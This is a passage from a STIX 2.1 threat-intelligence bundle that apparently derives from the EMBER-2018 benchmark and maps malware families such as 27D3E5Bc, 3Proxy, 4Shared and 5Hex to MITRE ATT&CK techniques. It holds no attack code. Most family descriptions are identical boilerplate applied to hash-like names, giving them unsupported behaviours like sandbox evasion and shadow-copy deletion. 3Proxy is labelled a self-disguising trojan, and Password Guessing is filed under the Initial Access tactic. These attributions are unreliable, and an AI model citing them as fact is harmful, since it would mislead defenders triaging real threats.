      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2cd5512-2a34-5193-8f4e-42d453440ce2",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "2345Explorer exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8034c66e-74d9-5c9a-9110-272a2e6a9271",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2cd5512-2a34-5193-8f4e-42d453440ce2",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "2345Explorer exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ed1da4e-4d61-5096-8a6e-14182c50d67c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2cd5512-2a34-5193-8f4e-42d453440ce2",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "2345Explorer exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--fddb1dde-b707-58d9-9234-0e950f6512cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1547: Boot or Logon Autostart Execution (Winlogon/BHO)",
      "description": "MITRE ATT&CK Technique T1547 (Boot or Logon Autostart Execution (Winlogon/BHO)) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1547",
          "url": "https://attack.mitre.org/techniques/T1547/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99145d30-6bed-5fc1-a95a-c976bf3bbb0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2cd5512-2a34-5193-8f4e-42d453440ce2",
      "target_ref": "attack-pattern--fddb1dde-b707-58d9-9234-0e950f6512cb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "2345Explorer exhibits technique T1547 (Boot or Logon Autostart Execution (Winlogon/BHO))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eef3419a-1e68-5bbd-a67e-5cd4bcfd43ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "27D3E5Bc",
      "description": "27D3E5Bc (classified in antivirus detection telemetry under designations including Ransom:Win32/27D3E5Bc, Ransom.Win32.27D3E5Bc, and Win32/27D3E5Bc) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, 27D3E5Bc executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Hash",
        "Malware.27d3e5bc",
        "Win32/27d3e5bc",
        "Ransom:Win32/27D3E5Bc",
        "Ransom.Win32.27D3E5Bc",
        "Win32/27D3E5Bc"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for 27D3E5Bc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/27d3e5bc"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1486: Data Encrypted for Impact",
      "description": "MITRE ATT&CK Technique T1486 (Data Encrypted for Impact) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1486",
          "url": "https://attack.mitre.org/techniques/T1486/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68801a33-a338-59ce-8dc2-e2ceb0b96fcc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eef3419a-1e68-5bbd-a67e-5cd4bcfd43ff",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "27D3E5Bc exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1490: Inhibit System Recovery (Behaviorally blocking the deletion of backups)",
      "description": "MITRE ATT&CK Technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups)) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1490",
          "url": "https://attack.mitre.org/techniques/T1490/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b58cc8b-7743-59ee-8810-4536c09f63a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eef3419a-1e68-5bbd-a67e-5cd4bcfd43ff",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "27D3E5Bc exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1082: System Information Discovery",
      "description": "MITRE ATT&CK Technique T1082 (System Information Discovery) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1082",
          "url": "https://attack.mitre.org/techniques/T1082/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--825a7d63-a6a7-522c-8235-47f3e1dbb576",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eef3419a-1e68-5bbd-a67e-5cd4bcfd43ff",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "27D3E5Bc exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d1162a5-ca56-5d94-bbc9-e831be0f839c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eef3419a-1e68-5bbd-a67e-5cd4bcfd43ff",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "27D3E5Bc exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0cf8819b-3b3a-5a03-9a22-9e682b814dd0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "3Proxy",
      "description": "3Proxy (classified in antivirus detection telemetry under designations including Trojan:Win32/3Proxy, Trojan.Win32.3Proxy, and Win32/3Proxy) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, 3Proxy executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/3Proxy",
        "Trojan.Win32.3Proxy",
        "Win32/3Proxy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for 3Proxy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/3proxy"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--d26b0080-b33f-58e9-a204-f4d14ddb8a23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1090.002: Connection Proxy: External Proxy (Abusing the tool for routing)",
      "description": "MITRE ATT&CK Technique T1090.002 (Connection Proxy: External Proxy (Abusing the tool for routing)) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1090.002",
          "url": "https://attack.mitre.org/techniques/T1090/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e5c4d76-fe6c-59c8-abe7-ccc04b30f140",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0cf8819b-3b3a-5a03-9a22-9e682b814dd0",
      "target_ref": "attack-pattern--d26b0080-b33f-58e9-a204-f4d14ddb8a23",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "3Proxy exhibits technique T1090.002 (Connection Proxy: External Proxy (Abusing the tool for routing))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--09c42517-207d-5692-a627-244c9dafb071",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1543: Create or Modify System Process (Establishing persistence)",
      "description": "MITRE ATT&CK Technique T1543 (Create or Modify System Process (Establishing persistence)) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1543",
          "url": "https://attack.mitre.org/techniques/T1543/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a7b86cd-e21b-5b47-9bac-bb1560217c40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0cf8819b-3b3a-5a03-9a22-9e682b814dd0",
      "target_ref": "attack-pattern--09c42517-207d-5692-a627-244c9dafb071",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "3Proxy exhibits technique T1543 (Create or Modify System Process (Establishing persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4456007-c7a4-5834-8ee1-63a7ca13e654",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0cf8819b-3b3a-5a03-9a22-9e682b814dd0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "3Proxy exhibits technique T1105 (Ingress Tool Transfer (Downloading 3proxy))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1110.001: Brute Force: Password Guessing",
      "description": "MITRE ATT&CK Technique T1110.001 (Brute Force: Password Guessing) under tactic Initial Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1110.001",
          "url": "https://attack.mitre.org/techniques/T1110/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b49cd7ce-e791-5646-8cff-db2314e4ead2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0cf8819b-3b3a-5a03-9a22-9e682b814dd0",
      "target_ref": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "3Proxy exhibits technique T1110.001 (Brute Force: Password Guessing)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9ae6fe1b-12fd-5183-b8b1-40b884d1ea33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "4Shared",
      "description": "4Shared (cataloged in antivirus vendor databases under detections including PUA:Win32/4Shared and Program:Win32/4Shared) represents bundled desktop client installers and companion toolbars associated with the 4shared file-hosting service. While providing access to cloud file sharing, historical versions of the installer were bundled with aggressive promotional adware, browser helper objects, and search hijackers. When executed, the installer modified system registry configurations, set default browser search engines to affiliate portals, and injected advertising banners into browsing sessions. Antivirus engines classify legacy 4Shared desktop installers as Potentially Unwanted Applications due to their invasive bundling behavior, undisclosed browser configuration changes, and tracking telemetry. (Observed samples in benchmark: 60)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/4Shared",
        "Program:Win32/4Shared",
        "4SharedDesktop",
        "Win32/4Shared"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for 4Shared",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/4shared"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1189: Drive-by Compromise",
      "description": "MITRE ATT&CK Technique T1189 (Drive-by Compromise) under tactic Initial Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1189",
          "url": "https://attack.mitre.org/techniques/T1189/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92002850-5052-5d55-8e6b-d4d4d4dfa22a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ae6fe1b-12fd-5183-b8b1-40b884d1ea33",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "4Shared exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3b650e4-be79-5520-8117-113db079b7da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ae6fe1b-12fd-5183-b8b1-40b884d1ea33",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "4Shared exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54ae138b-a507-52ff-947d-3c113558e372",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ae6fe1b-12fd-5183-b8b1-40b884d1ea33",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "4Shared exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c13dc038-3676-536a-b6b2-c72594a7224e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ae6fe1b-12fd-5183-b8b1-40b884d1ea33",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "4Shared exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7f1b57a-1d9f-54f1-8513-1c59a4b3dcd6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9ae6fe1b-12fd-5183-b8b1-40b884d1ea33",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "4Shared exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0a8e26f0-75e8-5863-a2e6-6d0edd0c9309",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "5Hex",
      "description": "5Hex (classified in antivirus detection telemetry under designations including Ransom:Win32/5Hex, Ransom.Win32.5Hex, and Win32/5Hex) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, 5Hex executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/5Hex",
        "Ransom.Win32.5Hex",
        "Win32/5Hex"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for 5Hex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/5hex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--402d1f1a-539d-5e65-a263-848fd511dc9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a8e26f0-75e8-5863-a2e6-6d0edd0c9309",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "5Hex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef0368cb-c3e2-59c7-9ecc-c6acfda12730",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a8e26f0-75e8-5863-a2e6-6d0edd0c9309",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "5Hex exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3840ad33-ff2f-5d89-9eef-e99e8343e6c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a8e26f0-75e8-5863-a2e6-6d0edd0c9309",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "5Hex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39b5568b-c1de-5abf-b662-4ca983f370c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a8e26f0-75e8-5863-a2e6-6d0edd0c9309",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "5Hex exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33e2bc42-7738-5239-b110-b03099d6fd9b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a8e26f0-75e8-5863-a2e6-6d0edd0c9309",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "5Hex exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9c453702-c8fa-5aab-917d-3baec69fbde4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "5Z0Ba4Mkpih",
      "description": "5Z0Ba4Mkpih (classified in antivirus detection telemetry under designations including Ransom:Win32/5Z0Ba4Mkpih, Ransom.Win32.5Z0Ba4Mkpih, and Win32/5Z0Ba4Mkpih) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, 5Z0Ba4Mkpih executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Obfuscated.Gen",
        "Dropper.RandomName",
        "Win32/Trojan.Packer",
        "Ransom:Win32/5Z0Ba4Mkpih",
        "Ransom.Win32.5Z0Ba4Mkpih",
        "Win32/5Z0Ba4Mkpih"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for 5Z0Ba4Mkpih",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/5z0ba4mkpih"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2a93221-b4f0-5d2d-8dce-ed855e1c4053",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c453702-c8fa-5aab-917d-3baec69fbde4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "5Z0Ba4Mkpih exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1577c563-b944-5fd2-9e34-97aff9e2b6df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c453702-c8fa-5aab-917d-3baec69fbde4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "5Z0Ba4Mkpih exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1055.002: Process Injection: Portable Executable Injection",
      "description": "MITRE ATT&CK Technique T1055.002 (Process Injection: Portable Executable Injection) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1055.002",
          "url": "https://attack.mitre.org/techniques/T1055/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6016f78-0092-509f-af2e-1d1fe4b83f55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c453702-c8fa-5aab-917d-3baec69fbde4",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "5Z0Ba4Mkpih exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7566bf8a-eb02-584d-8e87-a2e4e3442dde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "6B47672C",
      "description": "6B47672C (classified in antivirus detection telemetry under designations including Trojan:Win32/6B47672C, Trojan.Win32.6B47672C, and Win32/6B47672C) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, 6B47672C executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.6b47672c",
        "Malware.Unknown",
        "Win32/Trojan.Heur",
        "Trojan:Win32/6B47672C",
        "Trojan.Win32.6B47672C",
        "Win32/6B47672C"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for 6B47672C",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/6b47672c"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75bbbc38-70fd-52b2-95d5-74ebdcddb874",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7566bf8a-eb02-584d-8e87-a2e4e3442dde",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "6B47672C exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
